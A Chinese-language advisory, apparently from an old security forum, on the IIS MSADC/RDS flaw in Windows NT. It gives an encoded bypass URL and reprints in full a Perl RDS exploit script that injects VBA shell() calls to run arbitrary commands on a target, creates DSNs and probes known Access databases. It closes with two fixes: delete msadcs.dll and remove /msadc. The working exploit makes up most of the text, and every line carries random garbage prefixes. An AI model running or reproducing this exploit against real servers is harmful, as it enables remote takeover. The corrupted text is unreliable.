IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
j }+5vB|0 O!Wd5Y 涉及程序：
S)A'Y]2X Microsoft NT server
H<ZU#U0FZf Sg]
J7;] 描述：
S='syq>Aok 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
me \cLFw "%@uO)A / 详细：
pl V7+?G 如果你没有时间读详细内容的话，就删除:
DJQglt}~ c:\Program Files\Common Files\System\Msadc\msadcs.dll
ArI]`h'W 有关的安全问题就没有了。
}Uf<ZXW ]]c YLaq( 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
ee Up 1g ze'.Y% ] 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
fA^7^0![ 关于利用ODBC远程漏洞的描述，请参看:
5]jIg < j `BnP[jF http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm hxC!+ArVe qUf)j\7"Fn 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
]v5-~E! http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y'Z+, CNf HXJ9xkrr 这里不再论述。
-U>7
H`5 (tl}q3U 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
rwpgBl 0]x;n+G[q /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s6=YV0w( 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
t#<KxwhcN hN(L@0) Z,WW]Y,$ #将下面这段保存为txt文件，然后: "perl -x 文件名"
{@r*+~C3 g-yi xU #!perl
qi+&|80T. #
Cj&$% sO1 # MSADC/RDS 'usage' (aka exploit) script
vv
7+ >% #
hteOh#0{ # by rain.forest.puppy
2[dIOb4b
#
g]`bnZ7 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
FBsn;,3<W # beta test and find errors!
/qxJgoa ,.g}W~S) use Socket; use Getopt::Std;
H2Eb\v`# getopts("e:vd:h:XR", \%args);
gKL1c{BV [xpQH? print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+zRh
fIJHH %{ST z if (!defined $args{h} && !defined $args{R}) {
C=VIT*= print qq~
B #tdLv"I Usage: msadc.pl -h <host> { -d <delay> -X -v }
=s'7$D}0. -h <host> = host you want to scan (ip or domain)
Sue
6+p -d <seconds> = delay between calls, default 1 second
8mgQu]> -X = dump Index Server path table, if available
n=`w9qajd -v = verbose
6~W u` -e = external dictionary file for step 5
*`KrVu 6s bV3lE6z Or a -R will resume a command session
!*P&Eat 9NWloK6bT ~; exit;}
WL\^F#: _@E "7<\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
p(7QAd4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
O}gX{_|6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
8Z:Ezg3^ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-3 mgza $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rR!U; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
r] t )x* a{`"6 8 if (!defined $args{R}){ $ret = &has_msadc;
s#lto0b"8 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
F14(;'Az m1e b8yX print "Please type the NT commandline you want to run (cmd /c assumed):\n"
9bn2U iJ k . "cmd /c ";
A1Q
+0 $in=<STDIN>; chomp $in;
9Q@*0 - $command="cmd /c " . $in ;
TmiWjQv` M7VI D6J. if (defined $args{R}) {&load; exit;}
+5*vABvCu y`b\;kd print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+ v[O &try_btcustmr;
?`A9(#ySM :^G%57NX print "\nStep 2: Trying to make our own DSN...";
0VIZ=-e &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
k_Tswf 3 <bdyAUeFw print "\nStep 3: Trying known DSNs...";
9d"5wx &known_dsn;
l^,qO3ES a RKv+{K print "\nStep 4: Trying known .mdbs...";
Qcgu`]7} &known_mdb;
Wy(p LBmb 6_U |(f if (defined $args{e}){
n {=7 yK print "\nStep 5: Trying dictionary of DSN names...";
2 `5=0E1k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
n4>cERf a h]P/KVqR. print "Sorry Charley...maybe next time?\n";
S ' ?fJ. exit;
NQ!<f\m4n J" bD\% ##############################################################################
;\s~%~ \ _:5=|2-E sub sendraw { # ripped and modded from whisker
6To:T[ z# sleep($delay); # it's a DoS on the server! At least on mine...
-gSj>b7T my ($pstr)=@_;
[tm[,VfA^ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"=ElCaP} die("Socket problems\n");
vpa fru 4 if(connect(S,pack "SnA4x8",2,80,$target)){
i>"dBJh]b select(S); $|=1;
v?%3~XoH print $pstr; my @in=<S>;
.M+v?A d select(STDOUT); close(S);
i_ y:4 return @in;
sVcdj|j } else { die("Can't connect...\n"); }}
\c68n > i `8 R ##############################################################################
!a4cjc ( !u %9;>T7 sub make_header { # make the HTTP request
Oc^m_U8>^ my $msadc=<<EOT
6oA~J]< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1C'P)f28 User-Agent: ACTIVEDATA
Wo 2 v5- Host: $ip
&<=e_0zT Content-Length: $clen
`A"Q3sf% Connection: Keep-Alive
A: c]1 ixzTJ]y u ADCClientVersion:01.06
;ct)H*
y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
QmHwn)Ly }\4p3RQrz --!ADM!ROX!YOUR!WORLD!
?k::tNv0 Content-Type: application/x-varg
e2Ww0IK!E Content-Length: $reqlen
( s Jq;Z k)i"tpw EOT
h U)'OKe ; $msadc=~s/\n/\r\n/g;
7g-$ oO return $msadc;}
.}~$1QKS
dQ`:8S K ##############################################################################
[88{@) 9iK&f\#5 H sub make_req { # make the RDS request
X
[!X>w&z| my ($switch, $p1, $p2)=@_;
.c: )Qli my $req=""; my $t1, $t2, $query, $dsn;
rd|crD 3 (tpof
5a if ($switch==1){ # this is the btcustmr.mdb query
0IpS T $query="Select * from Customers where City=" . make_shell();
T aEt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Wk,6) jS=} $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
i[8NO$tN1) b^%?S8]h elsif ($switch==2){ # this is general make table query
%awVVt{aG $query="create table AZZ (B int, C varchar(10))";
[]r T? - $dsn="$p1";}
}/ 4 9T 9,w}Xe=C elsif ($switch==3){ # this is general exploit table query
H):-! ?: $query="select * from AZZ where C=" . make_shell();
1N>6rN $dsn="$p1";}
`LE^:a:8, L!&$c&=xf elsif ($switch==4){ # attempt to hork file info from index server
2@4x"F]U; $query="select path from scope()";
m ]1!-`(* $dsn="Provider=MSIDXS;";}
N-D( y Yg$@ Wb6 elsif ($switch==5){ # bad query
'1]+8E
`Z $query="select";
l3BD
<PB2S $dsn="$p1";}
2DUr7r M [ h^f% $t1= make_unicode($query);
C# ZhsWS!b $t2= make_unicode($dsn);
Y=3X9%v9g $req = "\x02\x00\x03\x00";
ckAsGF_B~! $req.= "\x08\x00" . pack ("S1", length($t1));
QP+c?ct}hF $req.= "\x00\x00" . $t1 ;
'xsbm^n6a& $req.= "\x08\x00" . pack ("S1", length($t2));
:cEd [Jm9 $req.= "\x00\x00" . $t2 ;
QTeF R&q8 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
mZ~mf->% return $req;}
2|$lk8 /, ,zG <7~m ##############################################################################
8znj~7}# z2.*#xTZn sub make_shell { # this makes the shell() statement
`(!W s\: return "'|shell(\"$command\")|'";}
_IC,9bbg 'xQna+ %h ##############################################################################
K/Sq2: .|U4N/XN%q sub make_unicode { # quick little function to convert to unicode
L>0!B8X2 my ($in)=@_; my $out;
kpl~/i` 4 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
=?wMESU return $out;}
Gee~>:_Q{J lD9%xCo9( ##############################################################################
g)X7FxS,z HgYc@P*b sub rdo_success { # checks for RDO return success (this is kludge)
@l)\?IEF@f my (@in) = @_; my $base=content_start(@in);
(rAiDRQ[ if($in[$base]=~/multipart\/mixed/){
mMV2h|W return 1 if( $in[$base+10]=~/^\x09\x00/ );}
dFx2>6AZt return 0;}
f V*}c ` Go-wAJ> ##############################################################################
Y+!Ouc!$ wH+FFXGJs sub make_dsn { # this makes a DSN for us
4 =~ 9v my @drives=("c","d","e","f");
W)|c [Q\ print "\nMaking DSN: ";
t3pZjdLJd foreach $drive (@drives) {
mVa?aWpez print "$drive: ";
@k_Jl>X my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C:rRK* "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
n?zbUA# . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i5.?g <.H $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~5FS|[1L return 0 if $2 eq "404"; # not found/doesn't exist
txj wZ_p if($2 eq "200") {
<9 ePi9D( foreach $line (@results) {
O ~$ {&( return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
CEbzJ } return 0;}
D8)O4bh Tld1P69( ##############################################################################
ay=KfY5 i:V0fBR[> sub verify_exists {
f -vZ2+HP my ($page)=@_;
O|HIO&M my @results=sendraw("GET $page HTTP/1.0\n\n");
XC*uz return $results[0];}
Fl B, (Cm Y8D7<V~Md ##############################################################################
F9Ifw><XM x1 .3W j sub try_btcustmr {
!S~,> ,yd my @drives=("c","d","e","f");
eFt\D\XOW my @dirs=("winnt","winnt35","winnt351","win","windows");
Aqa6R+c m Y$nI -P foreach $dir (@dirs) {
q :TZ =bs^ print "$dir -> "; # fun status so you can see progress
0 $n8b/%. foreach $drive (@drives) {
o} WB(WsG print "$drive: "; # ditto
^zvA?'s $reqlen=length( make_req(1,$drive,$dir) ) - 28;
(:_%kmu $reqlenlen=length( "$reqlen" );
[ED!J~lg8 $clen= 206 + $reqlenlen + $reqlen;
g,00'z_D i0,%}{` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Ui J^~rn if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
)p^m}N 6M] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
4( ` 2# @m+pr\h( ##############################################################################
<bEN8b )m|X ;eEo sub odbc_error {
&/B2)l6a my (@in)=@_; my $base;
s,eld@ my $base = content_start(@in);
D< nlb- if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
z1Bj_u{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w o-O_uZB $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
P`\ m9"7 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J o6~r- return $in[$base+4].$in[$base+5].$in[$base+6];}
"wT ~$I" print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
i1b 4 J print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
PphR4 sIM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
^ 4 u3Q 5 ?V? ##############################################################################
#JJp:S~` N&0uXrw sub verbose {
o9U0kI=W my ($in)=@_;
6Nfof return if !$verbose;
>>oASo print STDOUT "\n$in\n";}
)
xfc-Q hRuo,FS#: ##############################################################################
, cGwtt( l }2%?d sub save {
;k yL>mV{ my ($p1, $p2, $p3, $p4)=@_;
x J[k#?T' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^D W# print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
%{N$1ht^ close OUT;}
<?q&PCAn^ O?C-nw6kP ##############################################################################
T3u5al Dyouk+08x sub load {
U:mq7Rd8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3<zTkI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
wzHjEW @p=<IN>; close(IN);
t6<sNz F& $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H0D>A<Ue $target= inet_aton($ip) || die("inet_aton problems");
G*vpf~q? print "Resuming to $ip ...";
,E*a$cCw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
qrkRD*a if($p[1]==1) {
p0[,$$p M $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
h9Tf@]W
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
gCk y(4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F(K H- if (rdo_success(@results)){print "Success!\n";}
!
kOl$!X4 else { print "failed\n"; verbose(odbc_error(@results));}}
V 9QvQA
r elsif ($p[1]==3){
!\&7oAs=I if(run_query("$p[3]")){
j$|Yd= print "Success!\n";} else { print "failed\n"; }}
i">z8?qF elsif ($p[1]==4){
DK@w^ZW6JA if(run_query($drvst . "$p[3]")){
UALg!M# print "Success!\n"; } else { print "failed\n"; }}
E+^} B/"
exit;}
qSpa4W[ r3c\;Ra7 ##############################################################################
MUCJ/GF* l $p_])x sub create_table {
P[#WHbn my ($in)=@_;
Zeme`/aBb $reqlen=length( make_req(2,$in,"") ) - 28;
L6rs9su=7 $reqlenlen=length( "$reqlen" );
p(x1D]#Z[ $clen= 206 + $reqlenlen + $reqlen;
^EuyvftZ my @results=sendraw(make_header() . make_req(2,$in,""));
-h G 9 return 1 if rdo_success(@results);
o%4&1^ Vg my $temp= odbc_error(@results); verbose($temp);
_} X`t8L h return 1 if $temp=~/Table 'AZZ' already exists/;
CYFas:rPLT return 0;}
< o'7{ 3h D2C'KD ##############################################################################
vYMbson} w}bEufU+2 sub known_dsn {
/4"S}P>f # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
2= Y_Qrhi my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
St3(1mApl "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
M[
~2,M&H "banner", "banners", "ads", "ADCDemo", "ADCTest");
0IPhVG~# 8Snq75Q< foreach $dSn (@dsns) {
,3@15j print ".";
2,XqslB) next if (!is_access("DSN=$dSn"));
LG& Q>pt. if(create_table("DSN=$dSn")){
: S+U}Sm[ print "$dSn successful\n";
E9Xk8w'+ if(run_query("DSN=$dSn")){
:WfB!4%! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
soqNzdTB2 print "Something's borked. Use verbose next time\n";}}} print "\n";}
J%Z )# S)'q:`tZo ##############################################################################
IjB*myN. #Lxj
) sub is_access {
~gi( 1<# my ($in)=@_;
t ls6rto $reqlen=length( make_req(5,$in,"") ) - 28;
DO- K $reqlenlen=length( "$reqlen" );
.f92^lu9 $clen= 206 + $reqlenlen + $reqlen;
bJ,=yB+0 my @results=sendraw(make_header() . make_req(5,$in,""));
H`6Jq?\ my $temp= odbc_error(@results);
}'.Sn{OWf verbose($temp); return 1 if ($temp=~/Microsoft Access/);
P=sK+}5`q return 0;}
GaK _9Eg-2 [;CqvD <S ##############################################################################
!DX/^b 5.K$
X$+7} sub run_query {
N>6yacTB my ($in)=@_;
g*AD$": $reqlen=length( make_req(3,$in,"") ) - 28;
xZ'` _x9l $reqlenlen=length( "$reqlen" );
8apKp?~yW $clen= 206 + $reqlenlen + $reqlen;
(+K of my @results=sendraw(make_header() . make_req(3,$in,""));
nhX p_Z9 return 1 if rdo_success(@results);
#<i> <EG my $temp= odbc_error(@results); verbose($temp);
^1Zq 0 return 0;}
6 9I.*[ |3T|F3uEX
##############################################################################
q;a*gqt #2vG_B<M) sub known_mdb {
\,bFm,kC? my @drives=("c","d","e","f","g");
] Y:
W[p my @dirs=("winnt","winnt35","winnt351","win","windows");
eGypXf% my $dir, $drive, $mdb;
O<d ?'{ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`~+a=Q m6Cd^'J9^ # this is sparse, because I don't know of many
-^xKG'uth my @sysmdbs=( "\\catroot\\icatalog.mdb",
U ;Y}2 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
,;e-37^0l "\\system32\\certmdb.mdb",
-MW(={# "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|9"^s x dj&m my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
:8| 3V~%m "\\cfusion\\cfapps\\forums\\forums_.mdb",
_DvPF~ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
t5v)6| "\\cfusion\\cfapps\\security\\realm_.mdb",
"`gZ y)E "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"JLhOTPaHf "\\cfusion\\database\\cfexamples.mdb",
*2C79hi1 "\\cfusion\\database\\cfsnippets.mdb",
BaTO h'52 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
2#A9D.- h "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[W\atmd" "\\cfusion\\brighttiger\\database\\cleam.mdb",
2gR_1*| "\\cfusion\\database\\smpolicy.mdb",
I
3,e)Z "\\cfusion\\database\cypress.mdb",
I4X+'f W, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
o-<_X&"a|5 "\\website\\cgi-win\\dbsample.mdb",
{U C<I.5X "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0?;Hmq3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}%d-U;Tt2 ); #these are just
#5:A?aj foreach $drive (@drives) {
'\E{ qlI foreach $dir (@dirs){
aKzD63 foreach $mdb (@sysmdbs) {
C2|2XL'l(C print ".";
+|)#yE$aMh if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
eh/OCzWH print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
3[i !2iL. if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
$M< 4Bqr print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Fsj&/:
q } else { print "Something's borked. Use verbose next time\n"; }}}}}
]`H. q V ~#km0<r? foreach $drive (@drives) {
s@[t5R
foreach $mdb (@mdbs) {
LU7)F,ok print ".";
A.x} %v,E if(create_table($drv . $drive . $dir . $mdb)){
v]SE?xF{U print "\n" . $drive . $dir . $mdb . " successful\n";
;fME4Sp if(run_query($drv . $drive . $dir . $mdb)){
GE+csnA2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
K 0H!Ds9 } else { print "Something's borked. Use verbose next time\n"; }}}}
iT9Ex9RL }
2(J tD VEKITBs ##############################################################################
:k/U7 2 ftuQ"Ds sub hork_idx {
L A %al @ print "\nAttempting to dump Index Server tables...\n";
T`{MQ:s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
et}Y4,: $reqlen=length( make_req(4,"","") ) - 28;
\'=}kk` $reqlenlen=length( "$reqlen" );
;C3?Ic $clen= 206 + $reqlenlen + $reqlen;
JJ=is}S| my @results=sendraw2(make_header() . make_req(4,"",""));
"{"2h>o#D} if (rdo_success(@results)){
ZboJszNb; my $max=@results; my $c; my %d;
i*w-Q= for($c=19; $c<$max; $c++){
5T3>fw2G $results[$c]=~s/\x00//g;
G ZVl384@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4l UE(#kUM $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Zw \V}uXI? $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
2Wf qgR [3 $d{"$1$2"}="";}
v+bjC foreach $c (keys %d){ print "$c\n"; }
I/V #[K C } else {print "Index server doesn't seem to be installed.\n"; }}
}V,M0b> HMd )64( ##############################################################################
cP=mJ1 }v ,P3 sub dsn_dict {
wO)KQ~ yX open(IN, "<$args{e}") || die("Can't open external dictionary\n");
rh&Eu qE% while(<IN>){
;rAW3 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Xb]?/7
X next if (!is_access("DSN=$dSn"));
z9O/MHT[w if(create_table("DSN=$dSn")){
|Z| xM print "$dSn successful\n";
8 %f!
X51 if(run_query("DSN=$dSn")){
^uEl QI print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
lG#&1 print "Something's borked. Use verbose next time\n";}}}
lA
0_I"b2Y print "\n"; close(IN);}
L([ >yQZ =,G(1# ##############################################################################
;*H~Yb0 )'|W [Sh? sub sendraw2 { # ripped and modded from whisker
nqJV1 h sleep($delay); # it's a DoS on the server! At least on mine...
bXL a~r4\ my ($pstr)=@_;
Ayt!a+J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
F <Z=%M3e die("Socket problems\n");
&YKzK)@ if(connect(S,pack "SnA4x8",2,80,$target)){
me^Gk/`Em print "Connected. Getting data";
Vho0f< `E open(OUT,">raw.out"); my @in;
iqu GLw J select(S); $|=1; print $pstr;
v("vUqhx2+ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
} AYSQ~: close(OUT); select(STDOUT); close(S); return @in;
6ng g*kE< } else { die("Can't connect...\n"); }}
Gn4b\ y%% $_5v^QL ##############################################################################
4aKy]zPoE ZM` _P!G sub content_start { # this will take in the server headers
}"H900WE| my (@in)=@_; my $c;
$m
oa8 for ($c=1;$c<500;$c++) {
^BTNx2VHf if($in[$c] =~/^\x0d\x0a/){
1M+!cX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
(1]@ fCd + else { return $c+1; }}}
@Qozud\? return -1;} # it should never get here actually
C,u.!g;lm C YKGf1;If ##############################################################################
# eyx ITUl -L4xE sub funky {
lf# six my (@in)=@_; my $error=odbc_error(@in);
K L~sEli if($error=~/ADO could not find the specified provider/){
P~Owvs /= print "\nServer returned an ADO miscofiguration message\nAborting.\n";
kcUt!PL exit;}
n z l ,y, if($error=~/A Handler is required/){
p:%E>K1< print "\nServer has custom handler filters (they most likely are patched)\n";
^
?9
~R" exit;}
=K8h)B_g if($error=~/specified Handler has denied Access/){
OAOmd
4 print "\nServer has custom handler filters (they most likely are patched)\n";
0k<%l6Bq exit;}}
6I![ 5j n(VM GCZPV ##############################################################################
!W^II>Y -bfd><bs sub has_msadc {
[' 1?'* my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>i E
my $base=content_start(@results);
\ vQ ( return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n//a;m return 0;}
)6WU&0>AU8 WfZ#:G9 ########################
~zRd||qv I =pd j D -H]O&u3'c 解决方案：
M
- TK 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
;\.&FMi 2、移除web 目录: /msadc
